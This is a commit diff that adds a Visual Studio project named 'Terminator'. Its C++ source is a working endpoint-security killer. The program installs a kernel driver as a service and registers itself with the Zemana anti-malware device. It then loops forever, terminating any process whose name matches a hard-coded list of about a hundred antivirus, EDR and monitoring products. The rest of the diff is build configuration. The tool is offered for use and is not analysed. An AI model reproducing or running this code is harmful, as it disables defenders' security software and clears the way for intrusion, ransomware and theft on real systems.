Add project files.

2026-08-31 14:05:54 +00:00 · 2023-06-05 17:15:54 +01:00
parent ced7db94d5
commit 1f4392357e
4 changed files with 555 additions and 0 deletions
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.5.33530.505
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Terminator", "Terminator\Terminator.vcxproj", "{9A279A0B-357E-4FB7-AB1F-919CDF6619C1}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|x64 = Debug|x64
+		Debug|x86 = Debug|x86
+		Release|x64 = Release|x64
+		Release|x86 = Release|x86
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{9A279A0B-357E-4FB7-AB1F-919CDF6619C1}.Debug|x64.ActiveCfg = Debug|x64
+		{9A279A0B-357E-4FB7-AB1F-919CDF6619C1}.Debug|x64.Build.0 = Debug|x64
+		{9A279A0B-357E-4FB7-AB1F-919CDF6619C1}.Debug|x86.ActiveCfg = Debug|Win32
+		{9A279A0B-357E-4FB7-AB1F-919CDF6619C1}.Debug|x86.Build.0 = Debug|Win32
+		{9A279A0B-357E-4FB7-AB1F-919CDF6619C1}.Release|x64.ActiveCfg = Release|x64
+		{9A279A0B-357E-4FB7-AB1F-919CDF6619C1}.Release|x64.Build.0 = Release|x64
+		{9A279A0B-357E-4FB7-AB1F-919CDF6619C1}.Release|x86.ActiveCfg = Release|Win32
+		{9A279A0B-357E-4FB7-AB1F-919CDF6619C1}.Release|x86.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {F0897BA4-0B7F-45F9-B91B-595E6A4623FE}
+	EndGlobalSection
+EndGlobal
@@ -0,0 +1,366 @@
+#define _CRT_SECURE_NO_WARNINGS
+#include <Windows.h>
+#include <iostream>
+#include <Windows.h>
+#include <tlhelp32.h>
+
+#define IOCTL_REGISTER_PROCESS 0x80002010
+
+#define IOCTL_TERMINATE_PROCESS 0x80002048
+
+
+
+const char* const edrlist[] = {
+    "activeconsole",
+    "anti malware",
+    "anti-malware",
+    "antimalware",
+    "anti virus",
+    "anti-virus",
+    "antivirus",
+    "appsense",
+    "authtap",
+    "avast",
+    "avecto",
+    "canary",
+    "carbonblack",
+    "carbon black",
+    "cb.exe",
+    "ciscoamp",
+    "cisco amp",
+    "countercept",
+    "countertack",
+    "cramtray",
+    "crssvc",
+    "crowdstrike",
+    "csagent",
+    "csfalcon",
+    "csshell",
+    "cybereason",
+    "cyclorama",
+    "cylance",
+    "cyoptics",
+    "cyupdate",
+    "cyvera",
+    "cyserver",
+    "cytray",
+    "darktrace",
+    "defendpoint",
+    "defender",
+    "eectrl",
+    "elastic",
+    "endgame",
+    "f-secure",
+    "forcepoint",
+    "fireeye",
+    "groundling",
+    "GRRservic",
+    "inspector",
+    "ivanti",
+    "kaspersky",
+    "lacuna",
+    "logrhythm",
+    "malware",
+    "mandiant",
+    "mcafee",
+    "morphisec",
+    "msascuil",
+    "msmpeng",
+    "nissrv",
+    "omni",
+    "omniagent",
+    "osquery",
+    "Palo Alto Networks",
+    "pgeposervice",
+    "pgsystemtray",
+    "privilegeguard",
+    "procwall",
+    "protectorservic",
+    "qradar",
+    "redcloak",
+    "secureworks",
+    "securityhealthservice",
+    "semlaunchsv",
+    "sentinel",
+    "sepliveupdat",
+    "sisidsservice",
+    "sisipsservice",
+    "sisipsutil",
+    "smc.exe",
+    "smcgui",
+    "snac64",
+    "sophos",
+    "splunk",
+    "srtsp",
+    "symantec",
+    "symcorpu",
+    "symefasi",
+    "sysinternal",
+    "sysmon",
+    "tanium",
+    "tda.exe",
+    "tdawork",
+    "tpython",
+    "vectra",
+    "wincollect",
+    "windowssensor",
+    "wireshark",
+    "threat",
+    "xagt.exe",
+    "xagtnotif.exe"
+};
+
+int edrlist_size = sizeof(edrlist) / sizeof(edrlist[0]);
+
+
+
+BOOL
+LoadDriver(
+    char* driverPath
+)
+{
+    SC_HANDLE hSCM, hService;
+    const char* serviceName = "Terminator";
+
+    // Open a handle to the SCM database
+    hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
+    if (hSCM == NULL) {
+        return (1);
+    }
+
+    // Check if the service already exists
+    hService = OpenServiceA(hSCM, serviceName, SERVICE_ALL_ACCESS);
+    if (hService != NULL)
+    {
+        printf("Service already exists.\n");
+
+        // Start the service if it"s not running
+        SERVICE_STATUS serviceStatus;
+        if (!QueryServiceStatus(hService, &serviceStatus))
+        {
+            CloseServiceHandle(hService);
+            CloseServiceHandle(hSCM);
+            return (1);
+        }
+
+        if (serviceStatus.dwCurrentState == SERVICE_STOPPED)
+        {
+            if (!StartServiceA(hService, 0, nullptr))
+            {
+                CloseServiceHandle(hService);
+                CloseServiceHandle(hSCM);
+                return (1);
+            }
+
+            printf("Starting service...\n");
+        }
+
+        CloseServiceHandle(hService);
+        CloseServiceHandle(hSCM);
+        return (0);
+    }
+
+    // Create the service
+    hService = CreateServiceA(
+        hSCM,
+        serviceName,
+        serviceName,
+        SERVICE_ALL_ACCESS,
+        SERVICE_KERNEL_DRIVER,
+        SERVICE_DEMAND_START,
+        SERVICE_ERROR_IGNORE,
+        driverPath,
+        NULL,
+        NULL,
+        NULL,
+        NULL,
+        NULL
+    );
+
+    if (hService == NULL) {
+        CloseServiceHandle(hSCM);
+        return (1);
+    }
+
+    printf("Service created successfully.\n");
+
+    // Start the service
+    if (!StartServiceA(hService, 0, nullptr))
+    {
+        CloseServiceHandle(hService);
+        CloseServiceHandle(hSCM);
+        return (1);
+    }
+
+    printf("Starting service...\n");
+
+    CloseServiceHandle(hService);
+    CloseServiceHandle(hSCM);
+
+    return (0);
+}
+
+
+
+BOOL
+CheckProcess(
+    DWORD pn)
+{
+    DWORD procId = 0;
+    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+
+    if (hSnap != INVALID_HANDLE_VALUE)
+    {
+        PROCESSENTRY32 pE;
+        pE.dwSize = sizeof(pE);
+
+        if (Process32First(hSnap, &pE))
+        {
+            if (!pE.th32ProcessID)
+                Process32Next(hSnap, &pE);
+            do
+            {
+                if (pE.th32ProcessID == pn)
+                {
+                    CloseHandle(hSnap);
+                    return (1);
+                }
+            } while (Process32Next(hSnap, &pE));
+        }
+    }
+    CloseHandle(hSnap);
+    return (0);
+}
+
+char* to_lowercase(const char* str)
+{
+    char* lower_str = _strdup(str);
+    for (int i = 0; lower_str[i]; i++)
+    {
+        lower_str[i] = tolower((unsigned char)lower_str[i]);
+    }
+    return lower_str;
+}
+
+int is_in_edrlist(const char* pn)
+{
+    char* tempv = to_lowercase(pn);
+    for (int i = 0; i < edrlist_size; i++)
+    {
+        if (strstr(tempv, edrlist[i]) != NULL)
+        {
+            free(tempv);
+            return (1);
+        }
+    }
+    free(tempv);
+    return (0);
+}
+
+DWORD check_EDR_Processes(HANDLE hDevice) {
+    unsigned int procId = 0;
+    unsigned int pOutbuff = 0;
+    DWORD bytesRet = 0;
+    int ecount = 0;
+    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+
+    if (hSnap != INVALID_HANDLE_VALUE)
+    {
+        PROCESSENTRY32 pE;
+        pE.dwSize = sizeof(pE);
+
+        if (Process32First(hSnap, &pE))
+        {
+            do
+            {
+                char exeName[MAX_PATH];
+                wcstombs(exeName, pE.szExeFile, MAX_PATH);
+
+                if (is_in_edrlist(exeName))
+                {
+                    procId = (unsigned int)pE.th32ProcessID;
+                    if (!DeviceIoControl(hDevice, IOCTL_TERMINATE_PROCESS, &procId, sizeof(procId), &pOutbuff, sizeof(pOutbuff), &bytesRet, NULL))
+                        printf("faild to terminate %ws !!\n", pE.szExeFile);
+                    else
+                    {
+                        printf("terminated %ws\n", pE.szExeFile);
+                        ecount++;
+                    }
+                }
+            } while (Process32Next(hSnap, &pE));
+        }
+        CloseHandle(hSnap);
+    }
+    return (ecount);
+}
+
+int
+main(
+    void
+) {
+
+    WIN32_FIND_DATAA fileData;
+    HANDLE hFind;
+    char FullDriverPath[MAX_PATH];
+    BOOL once = 1;
+
+    hFind = FindFirstFileA("Terminator.sys", &fileData);
+
+    if (hFind != INVALID_HANDLE_VALUE) { // file is found
+        if (GetFullPathNameA(fileData.cFileName, MAX_PATH, FullDriverPath, NULL) != 0) { // full path is found
+            printf("driver path: %s\n", FullDriverPath);
+        }
+        else {
+            printf("path not found !!\n");
+            return(-1);
+        }
+    }
+    else {
+        printf("driver not found !!\n");
+        return(-1);
+    }
+    printf("Loading %s driver .. \n", fileData.cFileName);
+
+    if (LoadDriver(FullDriverPath))
+    {
+        printf("faild to load driver ,try to run the program as administrator!!\n");
+        return (-1);
+    }
+
+    printf("driver loaded successfully !!\n");
+
+    HANDLE hDevice = CreateFile(L"\\\\.\\ZemanaAntiMalware", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+
+    if (hDevice == INVALID_HANDLE_VALUE) {
+        printf("Failed to open handle to driver !! ");
+        return (-1);
+    }
+
+    unsigned int input = GetCurrentProcessId();
+
+    if (!DeviceIoControl(hDevice, IOCTL_REGISTER_PROCESS, &input, sizeof(input), NULL, 0, NULL, NULL))
+    {
+        printf("Failed to register the process in the trusted list %X !!\n", IOCTL_REGISTER_PROCESS);
+        return (-1);
+    }
+
+    printf("process registed in the trusted list %X !!\n", IOCTL_REGISTER_PROCESS);
+
+
+    printf("Terminating ALL EDR/XDR/AVs ..\nkeep the program running to prevent windows service from restarting them\n");
+
+
+    while (0x1)
+    {
+        if (!check_EDR_Processes(hDevice))
+            Sleep(1200);
+        else
+            Sleep(700);
+    }
+
+    system("pause");
+
+    CloseHandle(hDevice);
+
+    return 0;
+}
@@ -0,0 +1,136 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>16.0</VCProjectVersion>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectGuid>{9a279a0b-357e-4fb7-ab1f-919cdf6619c1}</ProjectGuid>
+    <RootNamespace>Terminator</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="Terminator.cpp" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="Source Files">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="Header Files">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
+    </Filter>
+    <Filter Include="Resource Files">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="Terminator.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+  </ItemGroup>
+</Project>